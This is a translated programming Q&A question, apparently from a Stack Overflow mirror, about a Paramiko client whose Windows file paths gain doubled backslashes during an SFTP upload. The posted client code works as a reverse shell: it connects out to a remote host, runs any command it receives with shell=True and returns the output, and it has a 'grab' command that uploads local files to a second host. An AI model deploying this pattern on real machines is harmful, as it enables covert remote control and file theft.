Paramiko:通过SFTP传输文件时Windows文件路径出错

时间:2018-04-27 19:32:35

标签: python python-3.x ssh sftp paramiko

我目前正在进行服务器 - 客户端设置,其中我有两个独立的服务器脚本。一个python脚本负责与Paramiko一起运行SSH监听器,该脚本在一台机器上运行。我有另一台服务器脚本专门作为另一台独立机器上的SFTP服务器,在与另一台机器相同的范围和子网内。

我的客户端代码在Windows 10系统上运行。两台服务器都在unix环境中运行(分别是macOS和Ubuntu 16.04)。

我正在运行的SFTP服务器标题为sftpserver,可在https://github.com/rspivak/sftpserver/处获得。

以下代码实际上是我client.py的全部内容,减去了导入语句。

key = paramiko.RSAKey.from_private_key_file('testkey.key')

transport = paramiko.Transport(('192.168.1.116', 10000))
transport.connect(username='root', password='toor', pkey=key)

client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('192.168.1.107', username='root', password='toor')
chan = client.get_transport().open_session()
chan.send("Hey man! I'm connected!")
print(chan.recv(1024))


def sftp(localpath, name):
    try:
        sftp = paramiko.SFTPClient.from_transport(transport)
        sftp.put(localpath, '/root/uploads/' + name)
        sftp.close()
        transport.close()
        return "<+> Done uploading"

    except Exception as e:
        return str(e)


while True:
    command = chan.recv(1024).decode()
    ipdb.set_trace() // <-- debugging purposes only
    if 'grab' in command:
        _, path, name = command.split(' ')
        chan.send(sftp(path, name))
    else:
        try:
            CMD = subprocess.check_output(command, shell=True)
            chan.send(CMD)
        except Exception as e:
            chan.send(str(e))

client.close()

在我的脚本中执行grab命令如下所示:

grab C:\Users\xxx\testing.txt testing.txt

现在,如果我写一个完全相同的路径(使用反斜杠),它会在每个路径后附加第二个反斜杠。所以,我现在提供的路径看起来像C:\\Users\xxx\\testing.txt,这就是我想象的导致我收到File not found错误。感谢pdb,我能够找到这个问题,但我不确定如何继续。老实说,我完全不确定这个问题是否与paramiko相关,或者是否是我尚未遇到的一些奇怪的python行为。

另外,抱歉没有堆栈跟踪。如果可能的话,我会尝试获得一个,但是我对这个时间有点紧迫。

0 个答案:

没有答案